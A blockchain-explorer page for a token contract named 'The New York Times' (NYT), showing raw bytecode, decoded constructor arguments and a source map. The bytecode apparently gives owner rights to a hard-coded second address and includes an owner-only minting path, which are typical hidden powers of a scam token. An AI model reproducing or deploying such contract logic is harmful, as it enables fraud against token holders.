160a01b03163314806104a3575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b6104bf5760405162461bcd60e51b81526004016103939061101f565b6104c96000610b5c565b565b6060600180546102b290610fe5565b60006104e7338484610689565b50600192915050565b6000546001600160a01b031633148061051c575033734b44001c60a95c3511dc1c637caf9240e2faf3dc145b6105385760405162461bcd60e51b81526004016103939061101f565b6001600160a01b03811661059d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610393565b6105a681610b5c565b50565b60006001600160a01b038416158015906105cb57506001600160a01b03831615155b6106235760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0384811660008181526008602090815260408083209488168084529482529182902086905590518581527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35060019392505050565b3060009081526009602052604081205460075490919060ff1680156106af575060055482115b80156106c35750600754610100900460ff16155b801561070157507f0000000000000000000000006d2c656d5e2d5dba7c8835faf911d5853fbeeb8a6001600160a01b0316856001600160a01b031614155b1561072e576007805461ff00191661010017905561071e82610bac565b6007805461ff0019169055610966565b6005546001600160a01b0386166000908152600b602052604090205411801561077057506005546001600160a01b0385166000908152600b6020526040902054115b156107ae57503060009081526009602052604081208054849283929161079790849061106a565b909155506107a790508385610be5565b5050505050565b600554831180156107f157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316846001600160a01b031614155b801561082f57507f0000000000000000000000006d2c656d5e2d5dba7c8835faf911d5853fbeeb8a6001600160a01b0316846001600160a01b031614155b15610892576001600160a01b0385166000908152600b602052604090205415610872576001600160a01b0384166000908152600b602052604090208390556107a7565b50506001600160a01b03919091166000908152600a602052604090205550565b600754610100900460ff161580156108c157506001600160a01b0385166000908152600a602052604090205415155b80156108ff57507f0000000000000000000000006d2c656d5e2d5dba7c8835faf911d5853fbeeb8a6001600160a01b0316856001600160a01b031614155b801561092157506001600160a01b0385166000908152600b6020526040902054155b15610966576005546001600160a01b0386166000908152600b602052604090205461094c919061107d565b6001600160a01b0386166000908152600a60205260409020555b6007546201000090046001600160a01b03166000818152600a602052604081205490036109aa576005546001600160a01b0382166000908152600a60205260409020555b6007805462010000600160b01b031916620100006001600160a01b03881602179055600654158015906109e55750600754610100900460ff16155b8015610a0757506001600160a01b0386166000908152600b6020526040902054155b8015610a2957506001600160a01b0385166000908152600b6020526040902054155b15610aab57603260065485610a3e9190611090565b610a4891906110a7565b9150610a54828561107d565b6001600160a01b038716600090815260096020526040812080549296508492909190610a8190849061107d565b90915550503060009081526009602052604081208054849290610aa590849061106a565b90915550505b6001600160a01b03861660009081526009602052604081208054869290610ad390849061107d565b90915550506001600160a01b03851660009081526009602052604081208054869290610b0090849061106a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610b4c91815260200190565b60405180910390a3505050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610bb96002836110a7565b905047610bc68230610be5565b6000610bd2824761107d565b9050610bdf838230610db1565b50505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c1a57610c1a6110c9565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c98573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cbc91906110df565b81600181518110610ccf57610ccf6110c9565b60200260200101906001600160a01b031690816001600160a01b031681525050610d1a307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a9565b506001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663791ac9478460008486610d5a42601461106a565b6040518663ffffffff1660e01b8152600401610d7a9594939291906110fc565b600060405180830381600087803b158015610d9457600080fd5b505af1158015610da8573d6000803e3d6000fd5b50505050505050565b610ddc307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d856105a9565b506001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d1663f305d71983308660008087610e1e42601461106a565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af1158015610e8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610eb0919061116d565b505050505050565b600060208083528351808285015260005b81811015610ee557858101830151858201604001528201610ec9565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105a657600080fd5b60008060408385031215610f2e57600080fd5b8235610f3981610f06565b946020939093013593505050565b600080600060608486031215610f5c57600080fd5b8335610f6781610f06565b92506020840135610f7781610f06565b929592945050506040919091013590565b600060208284031215610f9a57600080fd5b8135610fa581610f06565b9392505050565b60008060408385031215610fbf57600080fd5b8235610fca81610f06565b91506020830135610fda81610f06565b809150509250929050565b600181811c90821680610ff957607f821691505b60208210810361101957634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561034557610345611054565b8181038181111561034557610345611054565b808202811582820484141761034557610345611054565b6000826110c457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156110f157600080fd5b8151610fa581610f06565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561114c5784516001600160a01b031683529383019391830191600101611127565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561118257600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220e3a4a5e02f840f531f53e413c4afd924e1890fe299d1e26baa84e47f5807965d64736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000000000000000000000000000000000000000012546865204e657720596f726b2054696d6573000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034e59540000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): The New York Times
Arg [1] : Symbol (string): NYT
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [4] : 546865204e657720596f726b2054696d65730000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4e59540000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11779:5643:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13115:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13653:137;;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13653:137:0;1023:187:1;14155:200:0;;;;;;:::i;:::-;;:::i;:::-;;13206:86;13277:7;;13206:86;;;1361:25:1;;;1349:2;1334:18;13206:86:0;1215:177:1;14363:274:0;;;;;;:::i;:::-;;:::i;13300:85::-;13368:9;;;;13300:85;;12022:26;;;;;;12450:38;;;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;12450:38:0;1858:203:1;13535:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;13619:18:0;13592:7;13619:18;;;:9;:18;;;;;;;13535:110;2829:94;;;:::i;2100:87::-;2146:7;2173:6;-1:-1:-1;;;;;2173:6:0;2100:87;;13020;;;:::i;14645:158::-;;;;;;:::i;:::-;;:::i;13393:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;13492:18:0;;;13465:7;13492:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13393:134;3078:192;;;;;;:::i;:::-;;:::i;12401:42::-;;;;;13115:83;13152:13;13185:5;13178:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13115:83;:::o;13653:137::-;13721:4;13745:37;13754:10;13766:7;13775:6;13745:8;:37::i;:::-;13738:44;;13653:137;;;;;:::o;14155:200::-;2323:6;;-1:-1:-1;;;;;2323:6:0;999:10;2323:22;;:97;;-1:-1:-1;999:10:0;2377:42;2349:71;2323:97;2315:143;;;;-1:-1:-1;;;2315:143:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;14236:18:0;::::1;;::::0;;;:9:::1;:18;::::0;;;;:28;;14258:6;;14236:18;:28:::1;::::0;14258:6;;14236:28:::1;:::i;:::-;;;;;;;;14286:6;14275:7;;:17;;;;;;;:::i;:::-;::::0;;;-1:-1:-1;;14310:37:0::1;::::0;1361:25:1;;;-1:-1:-1;;;;;14310:37:0;::::1;::::0;14327:1:::1;::::0;14310:37:::1;::::0;1349:2:1;1334:18;14310:37:0::1;;;;;;;14155:200:::0;;:::o;14363:274::-;14488:4;14505:36;14515:6;14523:9;14534:6;14505:9;:36::i;:::-;-1:-1:-1;;;;;14588:19:0;;;;;;:11;:19;;;;;;;;14576:10;14588:31;;;;;;;;;14559:70;;14568:6;;14588:40;;14622:6;;14588:40;:::i;:::-;14559:8;:70::i;:::-;14552:77;14363:274;-1:-1:-1;;;;14363:274:0:o;2829:94::-;2323:6;;-1:-1:-1;;;;;2323:6:0;999:10;2323:22;;:97;;-1:-1:-1;999:10:0;2377:42;2349:71;2323:97;2315:143;;;;-1:-1:-1;;;2315:143:0;;;;;;;:::i;:::-;2894:21:::1;2912:1;2894:9;:21::i;:::-;2829:94::o:0;13020:87::-;13059:13;13092:7;13085:14;;;;;:::i;14645:158::-;14716:4;14733:40;14743:10;14755:9;14766:6;14733:9;:40::i;:::-;-1:-1:-1;14791:4:0;14645:158;;;;:::o;3078:192::-;2323:6;;-1:-1:-1;;;;;2323:6:0;999:10;2323:22;;:97;;-1:-1:-1;999:10:0;2377:42;2349:71;2323:97;2315:143;;;;-1:-1:-1;;;2315:143:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3167:22:0;::::1;3159:73;;;::::0;-1:-1:-1;;;3159:73:0;;4288:2:1;3159:73:0::1;::::0;::::1;4270:21:1::0;4327:2;4307:18;;;4300:30;4366:34;4346:18;;;4339:62;-1:-1:-1;;;4417:18:1;;;4410:36;4463:19;;3159:73:0::1;4086:402:1::0;3159:73:0::1;3243:19;3253:8;3243:9;:19::i;:::-;3078:192:::0;:::o;13798:352::-;13915:4;-1:-1:-1;;;;;13940:19:0;;;;;;:44;;-1:-1:-1;;;;;;13963:21:0;;;;13940:44;13932:93;;;;-1:-1:-1;;;13932:93:0;;4695:2:1;13932:93:0;;;4677:21:1;4734:2;4714:18;;;4707:30;4773:34;4753:18;;;4746:62;-1:-1:-1;;;4824:18:1;;;4817:34;4868:19;;13932:93:0;4493:400:1;13932:93:0;-1:-1:-1;;;;;14036:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14088:32;;1361:25:1;;;14088:32:0;;1334:18:1;14088:32:0;;;;;;;-1:-1:-1;14138:4:0;13798:352;;;;;:::o;14811:1588::-;14975:4;14925:29;13619:18;;;:9;:18;;;;;;15018:22;;13619:18;;14925:29;15018:22;;:57;;;;;15068:7;;15044:21;:31;15018:57;:76;;;;-1:-1:-1;15080:14:0;;;;;;;15079:15;15018:76;:101;;;;;15106:13;-1:-1:-1;;;;;15098:21:0;:4;-1:-1:-1;;;;;15098:21:0;;;15018:101;15014:854;;;15136:14;:21;;-1:-1:-1;;15136:21:0;;;;;15172:37;15187:21;15172:14;:37::i;:::-;15224:14;:22;;-1:-1:-1;;15224:22:0;;;15014:854;;;15288:7;;-1:-1:-1;;;;;15268:17:0;;;;;;:11;:17;;;;;;:27;:56;;;;-1:-1:-1;15317:7:0;;-1:-1:-1;;;;;15299:15:0;;;;;;:11;:15;;;;;;:25;15268:56;15264:604;;;-1:-1:-1;15386:4:0;15368:24;;;;:9;:24;;;;;:31;;15347:6;;;;15368:24;:31;;15347:6;;15368:31;:::i;:::-;;;;-1:-1:-1;15414:28:0;;-1:-1:-1;15431:6:0;15439:2;15414:16;:28::i;:::-;15457:7;;14811:1588;;;:::o;15264:604::-;15494:7;;15485:6;:16;:41;;;;;15519:6;-1:-1:-1;;;;;15505:21:0;:2;-1:-1:-1;;;;;15505:21:0;;;15485:41;:64;;;;;15536:13;-1:-1:-1;;;;;15530:19:0;:2;-1:-1:-1;;;;;15530:19:0;;;15485:64;15481:387;;;-1:-1:-1;;;;;15570:17:0;;15590:1;15570:17;;;:11;:17;;;;;;:21;15566:94;;-1:-1:-1;;;;;15593:15:0;;;;;;:11;:15;;;;;:24;;;15566:94;;;-1:-1:-1;;;;;;;15637:14:0;;;;;;;;:10;:14;;;;;:23;-1:-1:-1;14811:1588:0:o;15481:387::-;15704:14;;;;;;;15703:15;:39;;;;-1:-1:-1;;;;;;15722:16:0;;15741:1;15722:16;;;:10;:16;;;;;;:20;;15703:39;:64;;;;;15754:13;-1:-1:-1;;;;;15746:21:0;:4;-1:-1:-1;;;;;15746:21:0;;;15703:64;:90;;;;-1:-1:-1;;;;;;15771:17:0;;;;;;:11;:17;;;;;;:22;15703:90;15699:169;;;15849:7;;-1:-1:-1;;;;;15829:17:0;;;;;;:11;:17;;;;;;:27;;15849:7;15829:27;:::i;:::-;-1:-1:-1;;;;;15810:16:0;;;;;;:10;:16;;;;;:46;15699:169;15904:8;;;;;-1:-1:-1;;;;;15904:8:0;15878:15;15928:19;;;:10;:19;;;;;;:24;;15924:59;;15976:7;;-1:-1:-1;;;;;15954:19:0;;;;;;:10;:19;;;;;:29;15924:59;15994:8;:22;;-1:-1:-1;;;;;;15994:22:0;;-1:-1:-1;;;;;15994:22:0;;;;;;16031:7;;:11;;;;:30;;-1:-1:-1;16047:14:0;;;;;;;16046:15;16031:30;:56;;;;-1:-1:-1;;;;;;16065:17:0;;;;;;:11;:17;;;;;;:22;16031:56;:80;;;;-1:-1:-1;;;;;;16091:15:0;;;;;;:11;:15;;;;;;:20;16031:80;16027:253;;;16155:2;16144:7;;16135:6;:16;;;;:::i;:::-;16134:23;;;;:::i;:::-;16128:29;-1:-1:-1;16172:13:0;16128:29;16172:13;;:::i;:::-;-1:-1:-1;;;;;16200:15:0;;;;;;:9;:15;;;;;:22;;16172:13;;-1:-1:-1;16219:3:0;;16200:15;;;:22;;16219:3;;16200:22;:::i;:::-;;;;-1:-1:-1;;16255:4:0;16237:24;;;;:9;:24;;;;;:31;;16265:3;;16237:24;:31;;16265:3;;16237:31;:::i;:::-;;;;-1:-1:-1;;16027:253:0;-1:-1:-1;;;;;16290:15:0;;;;;;:9;:15;;;;;:25;;16309:6;;16290:15;:25;;16309:6;;16290:25;:::i;:::-;;;;-1:-1:-1;;;;;;;16326:13:0;;;;;;:9;:13;;;;;:23;;16343:6;;16326:13;:23;;16343:6;;16326:23;:::i;:::-;;;;;;;;16380:2;-1:-1:-1;;;;;16365:26:0;16374:4;-1:-1:-1;;;;;16365:26:0;;16384:6;16365:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;16365:26:0;;;;;;;;14914:1485;;;14811:1588;;;:::o;3278:173::-;3334:16;3353:6;;-1:-1:-1;;;;;3370:17:0;;;-1:-1:-1;;;;;;3370:17:0;;;;;;3403:40;;3353:6;;;;;;;3403:40;;3334:16;3403:40;3323:128;3278:173;:::o;16714:323::-;16773:12;16788:10;16797:1;16788:6;:10;:::i;:::-;16773:25;-1:-1:-1;16834:21:0;16866:37;16773:25;16897:4;16866:16;:37::i;:::-;16914:18;16935:38;16959:14;16935:21;:38;:::i;:::-;16914:59;;16984:45;16997:4;17003:10;17023:4;16984:12;:45::i;:::-;16762:275;;;16714:323;:::o;17045:374::-;17147:16;;;17161:1;17147:16;;;;;;;;17123:21;;17147:16;;;;;;;;;;-1:-1:-1;17147:16:0;17123:40;;17192:4;17174;17179:1;17174:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17174:23:0;;;-1:-1:-1;;;;;17174:23:0;;;;;17218:6;-1:-1:-1;;;;;17218:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17208:4;17213:1;17208:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;17208:23:0;;;-1:-1:-1;;;;;17208:23:0;;;;;17242:53;17259:4;17274:6;17283:11;17242:8;:53::i;:::-;-1:-1:-1;;;;;;17306:6:0;:57;;17364:11;17377:1;17380:4;17386:2;17390:20;:15;17408:2;17390:20;:::i;:::-;17306:105;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17112:307;17045:374;;:::o;16407:299::-;16534:53;16551:4;16566:6;16575:11;16534:8;:53::i;:::-;-1:-1:-1;;;;;;16598:6:0;:22;;16628:9;16647:4;16654:11;16667:1;;16673:2;16677:20;:15;16695:2;16677:20;:::i;:::-;16598:100;;;;;;-1:-1:-1;;;;;;16598:100:0;;;-1:-1:-1;;;;;7157:15:1;;;16598:100:0;;;7139:34:1;7189:18;;;7182:34;;;;7232:18;;;7225:34;;;;7275:18;;;7268:34;;;;7339:15;;;7318:19;;;7311:44;7371:19;;;7364:35;;;;7073:19;;16598:100:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;16407:299;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;:::-;2302:5;2066:247;-1:-1:-1;;;2066:247:1:o;2318:388::-;2386:6;2394;2447:2;2435:9;2426:7;2422:23;2418:32;2415:52;;;2463:1;2460;2453:12;2415:52;2502:9;2489:23;2521:31;2546:5;2521:31;:::i;:::-;2571:5;-1:-1:-1;2628:2:1;2613:18;;2600:32;2641:33;2600:32;2641:33;:::i;:::-;2693:7;2683:17;;;2318:388;;;;;:::o;2945:380::-;3024:1;3020:12;;;;3067;;;3088:61;;3142:4;3134:6;3130:17;3120:27;;3088:61;3195:2;3187:6;3184:14;3164:18;3161:38;3158:161;;3241:10;3236:3;3232:20;3229:1;3222:31;3276:4;3273:1;3266:15;3304:4;3301:1;3294:15;3158:161;;2945:380;;;:::o;3330:356::-;3532:2;3514:21;;;3551:18;;;3544:30;3610:34;3605:2;3590:18;;3583:62;3677:2;3662:18;;3330:356::o;3691:127::-;3752:10;3747:3;3743:20;3740:1;3733:31;3783:4;3780:1;3773:15;3807:4;3804:1;3797:15;3823:125;3888:9;;;3909:10;;;3906:36;;;3922:18;;:::i;3953:128::-;4020:9;;;4041:11;;;4038:37;;;4055:18;;:::i;4898:168::-;4971:9;;;5002;;5019:15;;;5013:22;;4999:37;4989:71;;5040:18;;:::i;5071:217::-;5111:1;5137;5127:132;;5181:10;5176:3;5172:20;5169:1;5162:31;5216:4;5213:1;5206:15;5244:4;5241:1;5234:15;5127:132;-1:-1:-1;5273:9:1;;5071:217::o;5425:127::-;5486:10;5481:3;5477:20;5474:1;5467:31;5517:4;5514:1;5507:15;5541:4;5538:1;5531:15;5557:251;5627:6;5680:2;5668:9;5659:7;5655:23;5651:32;5648:52;;;5696:1;5693;5686:12;5648:52;5728:9;5722:16;5747:31;5772:5;5747:31;:::i;5813:980::-;6075:4;6123:3;6112:9;6108:19;6154:6;6143:9;6136:25;6180:2;6218:6;6213:2;6202:9;6198:18;6191:34;6261:3;6256:2;6245:9;6241:18;6234:31;6285:6;6320;6314:13;6351:6;6343;6336:22;6389:3;6378:9;6374:19;6367:26;;6428:2;6420:6;6416:15;6402:29;;6449:1;6459:195;6473:6;6470:1;6467:13;6459:195;;;6538:13;;-1:-1:-1;;;;;6534:39:1;6522:52;;6629:15;;;;6594:12;;;;6570:1;6488:9;6459:195;;;-1:-1:-1;;;;;;;6710:32:1;;;;6705:2;6690:18;;6683:60;-1:-1:-1;;;6774:3:1;6759:19;6752:35;6671:3;5813:980;-1:-1:-1;;;5813:980:1:o;7410:306::-;7498:6;7506;7514;7567:2;7555:9;7546:7;7542:23;7538:32;7535:52;;;7583:1;7580;7573:12;7535:52;7612:9;7606:16;7596:26;;7662:2;7651:9;7647:18;7641:25;7631:35;;7706:2;7695:9;7691:18;7685:25;7675:35;;7410:306;;;;;:::o

Swarm Source

ipfs://e3a4a5e02f840f531f53e413c4afd924e1890fe299d1e26baa84e47f5807965d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.